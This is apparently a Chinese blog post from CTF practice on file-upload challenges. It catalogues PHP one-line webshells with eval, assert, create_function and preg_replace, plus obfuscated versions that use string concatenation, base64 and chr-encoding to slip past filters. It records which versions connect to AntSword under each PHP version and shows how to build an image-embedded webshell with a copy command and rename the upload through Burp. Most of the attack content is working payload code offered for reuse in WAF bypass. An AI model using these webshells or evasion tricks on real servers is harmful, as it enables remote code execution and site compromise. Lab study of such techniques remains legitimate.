赞
踩
(⌐■_■)在做图片马上传的题目,发现自己折腾很久,终于成功达到了抽刀断水、南辕北辙的效果~距离正确的WP仅有一部西游记那么长——
没关系,菜鸟做题就是这样屡败屡战~失败是成功的山顶洞人,也只能这么安慰自己辽~
但是,在解题过程中发现了其他的上传绕过思路,在这里梳理一下,说不定以后能用得到~本次是第二版啦,还会根据做题经验增补的~
祭出图片:白龙马镇文~保佑我的CTF图片马题目可以顺利通过,阿弥陀佛~
(●'◡'●)施法结束,正文开始~
文件上传解题思路就很传统:举起菜刀、蚁剑、冰蝎、哥斯拉往页面的脸上砸过去就行了~
本篇想测试的内容仅有两条:
1.穿新马甲的一句话木马连接蚁剑;
2.骑图片马的一句话木马连接蚁剑。
工具:蚁剑、Burpsuite
靶场:DVWA在线 Vulnerability: File Upload 或者 用虚拟机+phpstudy当作靶场~
————————————————————————
0 前言
参考1:ctf.show_墨子轩、的博客-CSDN博客_蚁剑返回数据为空
参考2:蚁剑连接不上远程shell的解决办法_大河下。的博客-CSDN博客
测试过程中,蚁剑连接补上的可能原因如下~
①如果返回一长串红色框报错,那就是连接地址写错了;
②如果返回地址为空的黄色框报错,那就是写错文件或者包在上传过程中被WAF改掉或是拦截了;
可以试试BurpSuite抓包分析一下上传前后的内容是否有变化~如果上传内容没有被改掉、防火墙也没有问题,那就再仔细检查一下代码的内容吧~
————————————————————————
1 朴实无华的一句话木马
<?php @eval($_POST['a']);?>
这个在没有防火墙盯着的情况下必然成功,但是...哪个不正经的网站会没有防火墙呢,做贼还是要讲一点技术含量的~
2 穿上马甲的一句话木马
查阅资料,以下是一些市面上常见的马甲款式——
————————————————————————————————
WEBSHELL免杀绕过WAF思路&方法(一) - 知乎 (zhihu.com)
php一句话木马变形技巧_bylfsj的博客-CSDN博客_一句话木马phpinfo
↑这两篇博文主要是替换与拼接函数绕过,均有代码段~其中第一篇对于原理的介绍多一些~
————————————————————————————————
一句话木马绕过检测的常见思路_si1ence_whitehat的博客-CSDN博客_一句话木马绕过
↑这一篇博文里有编码绕过的代码段,最后用主流的杀毒软件测试了一下效果~
————————————————————————————————
(1)php短标签,绕过<?php ?>的过滤;
php中最常见的标签为<?php ?>,不过在题目上传时这种可能会被过滤掉。根据查询结果,还有三种php的标签,分别是:
①<? ?> 需要配置short_open_tag,适合执行php语句; <?= ?>或许不需要配置,或许可以不闭合(就是只写<?=,不写?>),适合输出变量;
②<% %> 需要配置asp_tags,涉及到IIS6.0的解析漏洞;
③<script language="php"></script> php7及之后就已经不支持的写法~
参考博文:php中的短标签 太坑人了 - dongguol - 博客园 (cnblogs.com)
————————————————
我们下面分别测试一下这三种情况~
①<? ?>连接成功~<?连接成功~<?= ?>连接成功~<?= 连接成功~各版本均支持~
- <? @eval($_POST['a']);?>
-
- <?= @eval($_POST['a']);?>
-
- <? @eval($_POST['a']);
-
- <?= @eval($_POST['a']);
②<% %>连接失败~可能是因为我在用默认配置,没有配置asp_tags;
<% @eval($_POST['a']);%>
<% %>涉及到IIS6.0解析漏洞的部分,可参考:墨者学院06 内部文件上传系统漏洞分析溯源
③尝试连接以前一定要注意版本:从PHP7开始,这种写法<script language="php"></script>就已经不支持了哦~Php怎么不支持〈script language=“php”〉?_百度知道 (baidu.com)
<script language="php">@eval_r($_POST['a']);</script>
网站版本正好是php7,因此失败了;于是我在虚拟机上调为php5的版本尝试连接,发现也是失败的...
(2)更换函数,企图寻找一种没被写进黑名单的函数;
<?php assert(@$_POST['a']); ?>
这个我使用蚁剑连接失败了...切换php5版本、php7版本都是失败的...
php官方手册中关于assert的用法:如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行~PHP: assert - Manual,注意参数assertion
一栏的注解——
——————
- <?php
- $fun = create_function('',$_POST['a']);
- $fun();
- ?>
如果替换的函数使用create_function,此函数在内部执行 eval(),这个是成功的!但也要注意版本,8.0.0以后就不会成功了(7.2.0~8.0.0中间的版本可以执行)~PHP: create_function - Manual
- <?php
- @call_user_func(assert,$_POST['a']);
- ?>
emm...call_user_func是调用回调函数,每当我看到他的说明就会很绕...简而言之这个与assert(@$_POST['a']);效果是相近的 ,实际连接也是失败的~顺便一提,把assert改成eval以后,也没有成功~
- <?php
- $a=get_define_functions();
- $a['internal'][841]($_REQUEST['a']);
- ?>
- //:$a['internal'][841]表示的是assert
至于这个异曲同工,连接也是失败的~
- <?php
- $a='assert';
- array_map("$a",$_REQUEST);
- ?>
这个是用数组的方式为每个元素回调函数,效果与call_user_func也是类似的~连接是失败的~改成eval以后也是失败的~
——————
- <?php
- @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
- ?>
preg_replace是执行一个正则表达式的搜索和替换,在参数$replacement中存在eval执行作用。这个在php5中执行成功了~但是在php7中提示为空、在php8中提示错误~
- <?php
- $a=str_replace("Waldo", "", "eWaldoval");
- $a(@$_POST['a']);
- ?>
但是类似的写法,这样子连接是失败的,因为用到了变量作为执行函数~
——————
- <?php
- $str="a=eval";
- parse_str($str);
- $a($_POST['1']);
- ?>
parse_str — 将字符串解析成多个变量,以下是官方手册,看来在php8以后也不太好用了~不过在php5、php7中我这里也没有连接成功~PHP: parse_str - Manual
(3)字符组合+变量函数,绕过执行函数的简单过滤;
- <?php
- $a = "eval";
- $a(@$_POST['a']);
- ?>
以变量作为函数,这个连接失败了~看来用可变变量绕过的方法现在不太香了...
- <?php
- $a="e"."v";
- $b="a"."l";
- $c=$a.$b;
- @$c($_POST['1']);
- ?>
“.”在php种属于并置运算,可以连接两个字符串,“{}”也可以实现相同的功能,详PHP: 字符串运算符 - Manual~
我可以理解这个代码的逻辑,但是连接失败了~无论$c前是否有@,都失败了~
- <?php
- $item['JON']='assert';
- $array[]=$item;
- $array[0]['JON']($_POST["TEST"]);
- ?>
这个是用数组的方式组合,我这边同样也连接失败了~
(4)字符编码与混淆绕过试一试...
- <?php
- $a=base64_decode("ZXZhbA==")
- $a($_POST['a']);
- ?>
这个代码里因为用到了可变变量替换方式,所以同样失败了~
<?php array_map("as\x73ert",(array)$_REQUEST['1'];?>
这个代码里因为用到了数组回调的替换方式,所以同样失败了~
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
这个鬼画符一样的ascii转码版本成功了,连接的密码是1,在php5、php7版本中可用,在php8的版本中会报错~
———————————————————————————————————————————
3 骑图片马的一句话木马
嗯...讲真这么测一圈能活到php8的绕过代码,好像就寥寥无几了~
我...的一位朋友,表面在为代码安全的进步高兴,内心实际已经开始感到焦虑了(?)
但值得开心的是有几个幸存者可以基于php5和php7运行的,所以我们再测试一下这些代码结合图片上传效果是怎么样的~
(1)前端代码仅检查文件扩展名
有时ctrl+u查看源码,可以看到前端使用Javascript写成的小小WAF,拦截.php格式文件的上传~
这种情况下,把一句话木马的文件名扩展从.php变为.jpg .png等格式上传~
开启burp suite手动将包的后缀改为.php后放行,再用蚁剑链接即可~
(2)cmd命令拼接图片马
制作php图片马的方法可以参考这两篇(iInk大佬的博客封面好看,实名羡慕~):做一个图片马的四种方法(详细步骤) - 1ink - 博客园 (cnblogs.com)
我们用主流的cmd方法制作就好啦,这里我把原图片命名为0.jpg,一句话木马命名为0.php,合成命名为easyupload0.jpg,在当前文件夹的地址栏中直接输入cmd~
然后把这句话直接粘在后面~
copy 0.jpg/b + 0.php/a easyupload0.jpg // /b表示二进制,/a表示ascii码
生成一个崭新的jpg文件,因为懒得开启bp,就直接把后缀改成php连接了,发现....连接失败了...
用text打开以后发现最末端的一句话木马时没有尖括号的...
我又从网上下载了一匹崭新的卡通马
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。